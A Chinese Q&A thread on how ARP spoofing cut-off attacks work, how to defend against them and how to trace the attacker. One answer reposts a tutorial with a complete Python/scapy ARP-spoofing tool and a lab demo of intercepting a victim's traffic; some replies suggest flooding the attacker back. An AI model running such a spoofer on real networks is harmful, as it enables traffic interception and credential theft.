ARP 斷網攻擊的原理是什麼?如何完全防護?

正在持續遭受ARP斷網攻擊,通過360攔截下來了。我希望可以進一步找出攻擊源的IP地址。謝謝。


ARP攻擊是一種報文攻擊。@凋零說的沒錯,ARP協議主要是向網段內的ip廣播網關的ip:mac,病毒向整個子網廣播ARP信息,那麼子網內的機器就會把一切數據包發向偽裝的網關。

ARP攻擊很難防禦,說兩個方案吧

1.放棄ARP報文,改用PPTP PPOE之類的報文來連接。PPP協議有加密,消耗CPU很高。

2.使用靜態ARP設置,停用ARP報文。這個方案比較複雜,能徹底決解。但需要交換機支持,而且只有在交換機里綁定了mac:ip的客戶機才能上網。


至於防護,防火牆或者路由器可以綁定mac和ip,本機也 填寫固定ip。很多應用都可以檢測arp攻擊的,比如360管家。如果你會編程的話,也可以的。

至於原理和程序,正好可以貼我剛寫的一篇文章來給你參考下。

Python黑帽編程 3.1 ARP欺騙

https://www.zhihu.com/people/xuan-hun

玄魂工作室-玄魂 · 12 小時前

ARP欺騙是一種在區域網中常用的攻擊手段,目的是讓區域網中指定的(或全部)的目標機器的數據包都通過攻擊者主機進行轉發,是實現中間人攻擊的常用手段,從而實現數據監聽、篡改、重放、釣魚等攻擊方式。

在進行ARP欺騙的編碼實驗之前,我們有必要了解下ARP和ARP欺騙的原理。

3.1.1 ARP和ARP欺騙原理

ARP是地址轉換協議(Address Resolution Protocol)的英文縮寫,它是一個鏈路層協議,工作在OSI 模型的第二層,在本層和硬體介面間進行聯繫,同時對上層(網路層)提供服務。我們知道二層的乙太網交換設備並不能識別32位的IP地址,它們是以48位乙太網地址(就是我們常說的MAC地址)傳輸乙太網數據包的。也就是說IP數據包在區域網內部傳輸時並不是靠IP地址而是靠MAC地址來識別目標的,因此IP地址與MAC地址之間就必須存在一種對應關係,而ARP協議就是用來確定這種對應關係的協議。

ARP工作時,首先請求主機會發送出一個含有所希望到達的IP地址的乙太網廣播數據包,然後目標IP的所有者會以一個含有IP和MAC地址對的數據包應答請求主機。這樣請求主機就能獲得要到達的IP地址對應的MAC地址,同時請求主機會將這個地址對放入自己的ARP表緩存起來,以節約不必要的ARP通信。ARP緩存表採用了老化機制,在一段時間內如果表中的某一行沒有使用,就會被刪除。

區域網上的一台主機,如果接收到一個ARP報文,即使該報文不是該主機所發送的ARP請求的應答報文,該主機也會將ARP報文中的發送者的MAC地址和IP地址更新或加入到ARP表中。

ARP欺騙攻擊就利用了這點,攻擊者主動發送ARP報文,發送者的MAC地址為攻擊者主機的MAC地址,發送者的IP地址為被攻擊主機的IP地址。通過不斷發送這些偽造的ARP報文,讓區域網上所有的主機和網關ARP表,其對應的MAC地址均為攻擊者的MAC地址,這樣所有的網路流量都會發送給攻擊者主機。由於ARP欺騙攻擊導致了主機和網關的ARP表的不正確,這種情況我們也稱為ARP中毒。

根據ARP欺騙者與被欺騙者之間的角色關係的不同,通常可以把ARP欺騙攻擊分為如下兩種:

1. 主機型ARP欺騙:欺騙者主機冒充網關設備對其他主機進行欺騙

2. 網關型ARP欺騙:欺騙者主機冒充其他主機對網關設備進行欺騙

圖2

其實很多時候,我們都是進行雙向欺騙,既欺騙主機又欺騙網關。

了解了基本原理之後,我們下面動手實現ARP欺騙程序。

3.1.2 基本網路信息

首先,我們來查看下當前虛擬機Kali Linux的網路配置和ARP緩存。

圖3

如圖5所示,Kali Linux 乙太網卡為eth0,ip地址為192.168.1.102,MAC地址為00:0c:29:6e:98:a6。下面我們再查看Kali Linux的ARP緩存。

圖4

下面再用同樣的方法查看Windows 系統的信息。

圖5

windows本身地址為192.168.1.18,同樣緩存了路由器的地址。

下面我們將windows所在主機作為靶機,將Kali Linux所在虛擬機作為攻擊機,進行編程測試。

3.1.3 構造ARP欺騙數據包

我們先完成第一個目標,告訴目標主機192.168.1.18網關的地址為Kali Linux所在主機的地址:192.168.1.102。

在程序的頂部,我們先導入scapy。

import sys
import time
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)

注意這裡面的幾個方法,get_if_hwaddr為獲取本機網路介面的函數,getmacbyip是通過ip地址獲取其Mac地址的方法,ARP是構建ARP數據包的類,Ether用來構建乙太網數據包,sendp方法在第二層發送數據包。

我們先解下Ether的參數:

圖6

dst : DestMACField = (None)
src : SourceMACField = (None)
type : XShortEnumField = (36864)

構造一個乙太網數據包通常需要指定目標和源MAC地址,如果不指定,默認發出的就是廣播包,例如:

圖7

再來了解下ARP類構造函數的參數列表:

圖8

hwtype : XShortField = (1)
ptype : XShortEnumField = (2048)
hwlen : ByteField = (6)
plen : ByteField = (4)
op : ShortEnumField = (1)
hwsrc : ARPSourceMACField = (None)
psrc : SourceIPField = (None)
hwdst : MACField = ("00:00:00:00:00:00")
pdst : IPField = ("0.0.0.0")

構造ARP需要我們注意的有5個參數:

l op。取值為1或者2,代表ARP請求或者響應包。
l hwsrc。發送方Mac地址。
l psrc。發送方IP地址。
l hwdst。目標Mac地址。
l pdst。目標IP地址。

定向欺騙

現在來構造數據包就很容易了,回到我們最初的目標,我們想告訴192.168.1.23這台主機網關地址為192.168.1.102所在的主機,構造的數據包應該是這樣的:

pkt = Ether(src=[1.102的MAC], dst=[1.18的Mac]) / ARP(1.102的MAC, 網關IP地址,hwdst=1.18MAC, pdst=1.18IP地址, op=2)

上面的代碼我們不論是乙太網數據包還是ARP數據包,我們都明確指定了來源和目標,在ARP數據包中,我們將Kali Linux的Mac地址和網關的IP地址進行了綁定,op取值為2,作為一個響應包被1. 18接到,這樣1. 18會更新自己的ARP緩存表,造成中毒,從而1. 18發往網關的數據包都會被發往1.102。

那麼我們如果要欺騙網關,把網關發往1.18的數據包都發送到Kali Linux(1.102)上,根據上面的代碼稍作修改即可:

pkt = Ether(src=[1.102的MAC], dst=[網關的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=網關MAC,pdst=網關IP地址, op=2)

上面構造的兩個數據包都是ARP響應包,其實發送請求包也可以進行毒化,請求包毒化的原理是,我們請求時候使用假的源IP和MAC地址,目標主機同樣會更新自己的路由表。

ARP請求的方式欺騙主機,構造的ARP包如下:

pkt = Ether(src=[1.102的MAC], dst=[1. 18的Mac]) / ARP(1.102的MAC, 網關IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1)

ARP請求的方式欺騙網關,構造的ARP包如下:

pkt = Ether(src=[1.102的MAC], dst=[網關的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=網關MAC,pdst=網關IP地址, op=1)

我們看到構造ARP請求和響應的主要區別在op的值。

目前我們欺騙的方式都是一對一欺騙的,事實上我們可以發送廣播包,對所有主機進行欺騙。

廣播欺騙

廣播欺騙,首先乙太網數據包直接構造一個廣播包,ARP包不用填寫目標主機的信息即可。

下面是ARP廣播響應包的構造方式:

pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / ARP(hwsrc=mac, psrc=args[0], op=2)

最後綜合定下和廣播欺騙的方式,我們總結一個公式出來:

pkt = Ether(src=攻擊機MAC, dst=被欺騙主機(或網關)MAC) / ARP((hwsrc=毒化記錄中的MAC, 毒化記錄中的IP, hwdst=被欺騙主機MAC, pdst=被欺騙主機IP地址, op=1(或2))

概念有點繞,實踐出真知。

3.1.4 發送數據包

數據包構造完成之後,我們要做的就是發送了,發送數據包這裡我們使用sendp方法,該方法描述如下:

Send packets at layer 2
sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -&> None

和sendp方法類似的還有一個send方法,兩個方法不同的是,sendp方法工作在第二層,send方法工作在第三層。發送構造好的數據包就很簡單了:

sendp(pkt, inter=2, iface=網卡)

3.1.5 打造你的ARPSPOOF

ARP欺騙的核心內容我們已經講完了,在Kali Linux上有一款常用的ARP欺騙工具叫arpspoof。

圖9

(關於arpspoof的使用可以參考我的視頻教程《kali linux 滲透測試初級教程》,文末有獲取方法。)

雖然我們不知道arpspoof的內部實現代碼,但是我們完全可以根據目前掌握的知識,用Python來實現它。廢話少說,先上代碼:

#!/usr/bin/python

import os
import sys
import signal

from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
from optparse import OptionParser

def main():
try:
if os.geteuid() != 0:
print "[-] Run me as root"
sys.exit(1)
except Exception,msg:
print msg

usage = "Usage: %prog [-i interface] [-t target] host"
parser = OptionParser(usage)
parser.add_option("-i", dest="interface", help="Specify the interface to use")
parser.add_option("-t", dest="target", help="Specify a particular host to ARP poison")
parser.add_option("-m", dest="mode", default="req", help="Poisoning mode: requests (req) or replies (rep) [default: %default]")
parser.add_option("-s", action="store_true", dest="summary", default=False, help="Show packet summary and ask for confirmation before poisoning")
(options, args) = parser.parse_args()

if len(args) != 1 or options.interface is None:
parser.print_help()
sys.exit(0)

mac = get_if_hwaddr(options.interface)

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

return pkt

def build_rep():
if options.target is None:
pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / ARP(hwsrc=mac, psrc=args[0], op=2)
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)

return pkt

if options.mode == "req":
pkt = build_req()
elif options.mode == "rep":
pkt = build_rep()

if options.summary is True:
pkt.show()
ans = raw_input("
[*] Continue? [Y|n]: ").lower()
if ans == "y" or len(ans) == 0:
pass
else:
sys.exit(0)

while True:
sendp(pkt, inter=2, iface=options.interface)
if __name__ == "__main__":
main()

代碼略微有一點多,不過核心內容沒有離開我們上面講到的內容,現在做個分解。

usage = "Usage: %prog [-i interface] [-t target] host"
parser = OptionParser(usage)
parser.add_option("-i", dest="interface", help="Specify the interface to use")
parser.add_option("-t", dest="target", help="Specify a particular host to ARP poison")
parser.add_option("-m", dest="mode", default="req", help="Poisoning mode: requests (req) or replies (rep) [default: %default]")
parser.add_option("-s", action="store_true", dest="summary", default=False, help="Show packet summary and ask for confirmation before poisoning")
(options, args) = parser.parse_args()

if len(args) != 1 or options.interface is None:
parser.print_help()
sys.exit(0)

首先,我們引入了optparse模塊,用來格式化用戶輸入的參數,如果用戶輸入參數不正確,會列印使用說明。

圖10

下面調用了get_if_hwaddr方法,根據參數中傳入的網卡,獲取本機MAC地址,該MAC地址在構建乙太網和ARP數據包的時候做為攻擊機的MAC地址被使用。

接下來是build_req方法,和build_rep方法,分別用來構建ARP請求和響應包。兩個方法會檢查是否指定了目標地址,如果沒有就是廣播欺騙,如果有就是定下欺騙。兩個方法裡面使用了getmacbyip方法來根據ip地址獲取目標主機的MAC地址。構建數據包的原理我們上面講的很清楚了,這裡就不重複了。

再往下是根據輸入的參數,判斷應該構建的數據包類型,調用對應的方法。

if options.mode == "req":
pkt = build_req()
elif options.mode == "rep":
pkt = build_rep()

if options.summary is True:
pkt.show()
ans = raw_input("
[*] Continue? [Y|n]: ").lower()
if ans == "y" or len(ans) == 0:
pass
else:
sys.exit(0)

最後是發送數據包和程序的入口。

while True:
sendp(pkt, inter=2, iface=options.interface)
if __name__ == "__main__":
main()

程序準備妥當,我們保存源碼,下面開始測試。

3.1.6 測試

在做ARP欺騙測試的時候,一定要先開啟本機的IP轉發功能,否則會失敗的。執行如下命令:

sysctl net.ipv4.ip_forward=1

圖11

下面我們打開終端,對192.168.1.18進行欺騙,告訴它網關為192.168.1.102所在的主機。

圖12

在打開一個終端,對網關進行欺騙,告訴網關,192.168.1.18對應的主機為192.168.1.102.

python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18

一段時間之後,我們發現,192.168.1.18的arp緩存發生了變化:

圖13

對比圖13和圖5我們知道arp毒化成功。下面我們來看一下能發捕獲到1.18的外網請求信息,使用常用的測試工具driftnet。

圖14

下面在1.18上隨便打開幾個帶有圖片的網頁。

圖15

在drifnet上面我們可以看到捕獲的圖片信息,如圖16所示。

圖16

證明我們的arp欺騙程序編寫成功。

3.1.7 在此基礎上我們能做什麼

上面的測試,我們知道基於ARP欺騙我們可以做數據監聽,能拿到敏感信息,能拿到憑證進行重放攻擊,能進行數據篡改,結合調用和DNS欺騙做很多事情。

關於進一步的實戰利用,這裡我就不展開了,在我的視頻教程《Kali Linux web滲透測試基礎教程》的第十四課《第14課-arp欺騙、嗅探、dns欺騙、session劫持》講了很多實用的工具,可以在ARP欺騙的基礎上做很多測試。只要在玄魂工作室的微信訂閱號(在下方掃碼關注)下回復「kali」,會自動回復你免費獲取整套教程的方法。

3.1.8 小結

本節比較詳細的講解了基於Scapy進行ARP數據包構建和發送的基礎知識,綜合這些基礎進行ARP欺騙的工具編寫,最終完成了一個可用的ARP欺騙工具。

下一節,基於本節的知識,我們編寫一個ARP監控工具,來對網路上主機的ARP請求做動態的回應。

第3.2節《ARP監控》已經在微信訂閱號搶先發布,心急的同學進入訂閱號(二維碼在下方),從菜單「專欄」—&>」Python黑帽編程」進入即可。

查看完整系列教程,請關注我的微信訂閱號(xuanhun521,下方二維碼),回復「python」。問題討論請加qq群:Hacking (1群):303242737 Hacking (2群):147098303。

點擊打開二維碼

玄魂工作室-精彩不斷


上網就跟你收發快遞似的,你給客戶發快遞包(請求,),客戶給你發回來(應答),這樣一問一答我們才能上網,而快遞代理點就是網關。好吧,現在一人告訴你,我就是快遞收寄員讓你把包裹給他。結果你傻乎乎的給他了,你當然就寄不到你家去了(上不了網),這就是arp欺騙攻擊,解決辦法就是從交換機層面綁好網卡,指定好網關,把處於混雜模式的網卡給KILL(冒充快遞員)掉。什麼?你問fa***ook老是404咋回事?這是半路上快遞給你扔溝里了。。。。


理論上網關和終端相互綁定MAC地址就可以保證安全。

實際上他媽的MAC地址也可以手工修改。。。


解決方法最有效的永遠只有一個:真人PK


ARP簡單描述就是一個區域網內的網關發送廣播.告訴你他才是網關(其實他不是)

一般只要看一下廣播從哪個機器發送的即可


一、這裡先說下ARP防禦,家庭網路和企業網路的防禦思路和深淺完全不同。這裡假設你是個人網路,那麼,首先安裝ARP防火牆(金山貝殼、彩影防火牆、360或騰訊電腦管家自帶)肯定是第一要務。題主問到的如何找到攻擊源,如果能使用Wireshark抓包軟體的話,基本上可以完美還原整個過程,並且揪出攻擊者的IP和MAC地址。

二、這裡貼一下最近寫的文章:圖解ARP協議(二)ARP攻擊篇

如果你的關注重點是『斷網攻擊原理』,那麼關注這篇文章的前半部分;如果你的關注重點是『找到攻擊者』,那麼關注文章下半段Wireshark分析真實網路還原ARP攻擊的過程。

=======下面是正文=======

一、ARP攻擊概述

在上篇文章里,我給大家普及了ARP協議的基本原理,包括ARP請求應答、數據包結構以及協議分層標準,今天我們繼續討論大家最感興趣的話題:ARP攻擊原理是什麼?通過ARP攻擊可以做什麼,賬號是否可以被竊取?有哪些常見的ARP滲透(攻擊)工具可以用來練手?ARP掃描和攻擊有什麼區別,底層數據包特徵是怎樣的?

接下來,我們通過圖解的方式來深入了解ARP攻擊是如何實現的。

二、ARP攻擊原理

但凡區域網存在ARP攻擊,都說明網路存在"中間人",我們可以用下圖來解釋。

在這個區域網裡面,PC1、PC2、PC3三台主機共同連接到交換機SW1上面,對應3個介面port1/2/3。假設PC3這台主機安裝了ARP攻擊軟體或遭受ARP病毒,成為這個網路的攻擊者(hacker),接下來,PC3是如何攻擊的?先不急,先來回顧下PC1和PC2是如何通信的。

①PC1需要跟PC2通信,通過ARP請求包詢問PC2的MAC地址,由於採用廣播形式,所以交換機將ARP請求包從介面P1廣播到P2和PC3。(註:交換機收到廣播/組播/未知幀都會其他介面泛洪

②PC2根據詢問信息,返回ARP單播回應包;此時PC3作為攻擊者,沒有返回ARP包,但是處於"監聽"狀態,為後續攻擊做準備。

③PC1和PC2根據ARP問答,將各自的ARP映射信息(IP-MAC)存儲在本地ARP緩存表。

④交換機根據其學習機制,記錄MAC地址對應的介面信息,存儲在CAM緩存表(也稱為MAC地址表)。交換機收到數據包時,會解封裝數據包,根據目標MAC欄位進行轉發。

關於上面的圖解,我們要記住這些關鍵知識(敲黑板!):

①主機通信需要查找ARP表,而交換機通信需要查找CAM表(路由器則查找Route表)。

註:ARP表:ip&<-&>mac CAM表:mac&<-&>port (Route表:route&<-&>port)

②交換機基於源MAC地址學習,基於目的MAC地址轉發。

③同一區域網內,攻擊者可以根據主機的ARP廣播請求監聽其IP和MAC信息。

註:這裡是"被動監聽",跟後面要談到的"主動掃描",原理上有區分,這裡先埋個坑)

接下來是重點,我們來看看PC3(Hacker)是如何發起ARP攻擊的=&>

正常情況下,若收到的ARP請求不是給自己的,則直接丟棄;而這裡PC3(Hacker)在監聽之後,發起了ARP回應包:我就是PC2(IP2-MAC3)

從拓撲可以出現,PC3明明是IP3對應MAC3,很顯然這就是一個ARP欺騙行為。於此同時,PC2正常的ARP回應包也交到了PC1手中,我們來看PC1接下來如何處理的:

PC1收到兩個ARP回應包,內容分別如下:

③我是PC2,我的IP地址是IP2,我的MAC地址是MAC2

③我是PC2,我的IP地址是IP2,我的MAC地址是MAC3

PC1一臉懵:咋回事?還有這操作?不管了,我選最新的!(後到優先)

這裡給大家順便普及下網路協議里各種表在處理緩存信息的方式:

要麼"先到先得",要麼"後到優先"。上面提到的ARP和CAM表,就是遵循"後到優先"原則,而後面章節我們會講到的DHCP表,則遵循"先到先得"原則。

那麼問題來了,上面兩個ARP回應包到底哪個先到哪個後到呢?

作為初學者,可能還在糾結前後這種naive的問題;而作為hacker,只要持續不停發出ARP欺騙包,就一定能夠覆蓋掉正常的ARP回應包。穩健的ARP嗅探/滲透工具,能在短時間內高並發做網路掃描(例如1秒鐘成千上百的數據包),能夠持續對外發送欺騙包。

無論如何,當PC1和PC2這種"小白"用戶遇到PC3(hacker)時,最終的結果一定是這樣的:

小白 vs 黑客,很明顯的較量,PC1最終記錄的是虛假的ARP映射:IP2&<-&>MAC3,得到錯誤信息的PC1,接下來會發生什麼情況呢?(我們以PC1 ping PC2為例)

根據數據封裝規則,當PC1要跟PC2進行通信時,無論是發生PING包還是發送其他數據,首先要查找ARP表,然後在網路層打上源目IP,在鏈路層打上源目MAC,然後將數據包發送給交換機。交換機收到之後對數據進行解封裝,並且查看CAM表(基於目的MAC轉發),由於目標MAC3對應Port3,所以交換機自然而然將其轉發給PC3。

就這樣,PC1本來要發給PC2的數據包,落到了PC3(Hacker)手裡,這就完成了一次完整的ARP攻擊。反過來,如果PC2要將數據包發送給PC1,PC3仍然可以以同樣的ARP欺騙實現攻擊,這就有了下面這張圖(PC3既欺騙了PC1,也欺騙了PC2)。

此時,PC1和PC2的通信數據流被PC3攔截,形成了典型的"中間人攻擊"。那麼,一旦被攻擊並攔截,攻擊者能做什麼,普通用戶又會遭受什麼損失?這裡給大家舉幾個常見的例子=&>

①攻擊者既然操控了數據流,那麼直接斷開通信是輕而易舉的,即"斷網攻擊",例如,PC1發給PC2的數據在PC3這裡可以直接丟棄,而如果這裡的PC2是一台出口路由器(無線路由器),那就意味著PC1直接無法連上互聯網。

②"斷網攻擊"顯然容易被發現,而且比較"殘忍",所以就有了更加常見的應用-"限速"。例如,在宿舍上網突然很慢,在網吧上網突然打不開網頁,如果這個網路沒有安全防禦,那麼很有可能有"內鬼"。

③其實無論是"斷網攻擊"還是"限速",整體還是比較"善良",因為這裡流量裡面的核心數據還沒有被"提取"出來。如果攻擊者是一名真正的黑客,他的目的一定不會這麼無聊,因為內網流量對於黑客是沒有太大價值的,而只有"用戶隱私",例如常見網站的登錄賬號密碼,這些才是最有價值的。

問:遭受ARP攻擊之後,哪些賬號可能被竊取?

答:任何基於明文傳輸的應用,都可以被竊取。例如,如果一個網站不是HTTPS協議,而是基於HTTP明文傳輸,那麼當你登錄這個網站時,你的密碼就會被竊取。除了http(web應用),常見的還有telnet、ftp、pop3/smtp/imap(郵箱)等應用,都很容易泄露密碼。

三、常見ARP滲透工具與底層原理分析

基於ARP欺騙原理設計出來的滲透/攻擊工具非常多,而最終能實現什麼功能則各有差異,簡單舉幾個例子:

①無毒無害型的僅具備ARP掃描功能,用來發現內網主機;例如Metasploit裡面的arping/arpscan相關模塊;

ARP掃描+流量控制(限速或限制能上哪些網站和應用);例如Windows下的P2P終結者;

ARP掃描+賬號竊取(網站、郵箱、各種);最強的莫過於Windows下的Cain,當然還有跨平台的Ettercap(需配合其他工具);

當然,如果攻擊者足夠強悍,也可以基於協議底層原理,編寫自己的ARP工具。這裡我通過wirehshark給大家還原真實網路中常見的ARP掃描和欺騙攻擊(具體的軟體使用這裡暫時不出現,大家重點關注底層實現)。

在這張圖裡面,Hacker(就是我...)接入了一個WiFi網路,這個10.1.20.0/24便是所在的網段。剛進來一個陌生網路,Hacker只知道自己的IP信息,例如IP地址是10.1.20.253,網關地址是10.1.20.254,而這個區域網的其他設備是什麼?有多少台?地址分布是多少?Hacker都不知道,接下來怎麼辦呢?是不是要直接發動ARP攻擊了?

不用這麼著急,咋們至少要先了解下這個網路,進行基本的掃描和踩點。這個時候通過ARP工具對這個WiFi網路進行掃描,具體的數據包截圖如下:

上面的ARP掃描過程,大概的情況是這樣的=&>

其實,這就是典型的"盲掃"或者"暴力掃描":反正我不知道網路到底有多少主機,那我就嘗試一下把整個網段全部問一遍得了。好比老師上課點名,把每個學生的桌位號念一遍,誰舉手就到勤,沒舉手就算逃課。

那麼,這個實際網路裡面,到底誰"舉手"了呢?我們來看Wireshark抓包情況。

在ARP應答信息裡面,除了IP地址和MAC信息,我們還能看到相關的設備廠商信息,例如cisco、meizu、apple、xiaomi等,這其實就是依靠MAC地址前面24位的OUI(機構唯一標識符)來識別的。

Wireshark或掃描器能夠幫我們將OUI轉為對應的廠商(還有一些掃描器基於Netbios協議,還能找到電腦的主機名),所以,掃描之後可以得到下面這張圖片=&>

通過掃描,我們已經知道了整個網路的主機信息,例如20.254對應cisco,應該是路由器,20.248對應apple,是蘋果手機,20.249對應xiaomi,是小米手機,以此類推.....

接下來,如何進行ARP欺騙攻擊呢?這裡將最重點的數據包截取出來=&>

根據之前的信息,我們知道00:08:ca:86:f8:0f其實就是hacker的mac地址,並且對應的真正的IP地址應該是10.1.20.253。而這裡很明顯是hacker在欺騙區域網其他主機,它對外聲稱:自己就是"所有人"。尤其是上面標紅的主機,我們已經知道是小米、思科、蘋果等設備,但是hacker都聲明是自己!這樣做的意義在於覆蓋掉其他主機的ARP緩存表信息,並生成錯誤的ARP映射,最終將通信流量交給hacker。

當然,還有另外一種ARP欺騙的做法:hacker告訴所有人,自己就是網關。因為其他主機訪問互聯網必經之路便是網關(出口路由器/無線路由器),通過這種方式,同樣可以截取到用戶數據流,這裡給出另外一個網路的實現過程=&>

Hacker欺騙主機Honhai,告訴它:我就是網關(10.1.1.254)

Hacker欺騙主機Apple,告訴它:我就是網關(10.1.1.254)

依此類推,Hacker會告訴區域網所有主機:自己就是網關,並且後續可以把數據都丟給我,我來轉發到互聯網。

四、ARP攻擊總結

①ARP緩存表基於"後到優先"原則,IP與MAC的映射信息能被覆蓋;

②ARP攻擊基於偽造的ARP回應包,黑客通過構造"錯位"的IP和MAC映射,覆蓋主機的ARP表(也被稱為"ARP毒化"),最終截取用戶的數據流;

③一旦遭受ARP攻擊,賬號密碼都可能被竊取(如果通信協議不是加密的);

④通過Wireshark數據包分析,我們掌握了真實網路中ARP底層攻擊原理及數據包組成。

預告:ARP防禦篇

如何防禦ARP攻擊?

有哪些ARP防禦軟體?

如果被ARP攻擊了,如何揪出"內鬼",應該如何"還手"?

企業網/家庭網的防禦方法有什麼區別?

【相關推薦】

《TCP/IP協議棧視頻教程》

新浪微博:@拼客學院陳鑫傑

微信公眾號:拼客院長陳鑫傑


抓包,逆向找發包的貨,然後對它發包,乾死他。


原理是arp協議對區域網內用戶不驗證,導致ip到mac的解析可以被篡改。不用防禦,用抓包器,找出源頭。


你可以上網下一個抓包軟體wireshark然後看看以你為destination address的ARP報文..就知道哪些是懷疑對象了..


如果你不是學校那種比較大的區域網,建議你綁定ip-mac就可以完美解決了(這個百度去搜,很多文章)。

如果是大環境的話,可能稍微複雜點,交換機稍微差點就可能扛不住直接對交換機的攻擊,那就只有找源頭了(這是個累活,方法就把網線拔掉,一個一個試,很快就能找到源頭了)


就是主機向目標發送arp包後,對方主機會自動保存arp包里的mac和ip

然後你在向某ip發送數據的時候一查Mac table就會發送到之前保存的那個mac里去,別人不想回復你,你就好像斷網了


拔網線,你的或者他的都行。


請看此帖【常見ARP防火牆的攻擊源追蹤功能可靠嗎?】: http://www.zhihu.com/question/19998560


推薦閱讀:

如何封殺掉P2P網路終結者?
有哪些影響互聯網界的重大安全事件?
LinkedIn 從哪抓或買的數據?
嗯,偶遇小鬼

TAG:互聯網 | 數據安全 | MicrosoftWindows | 網路安全 | 計算機病毒 |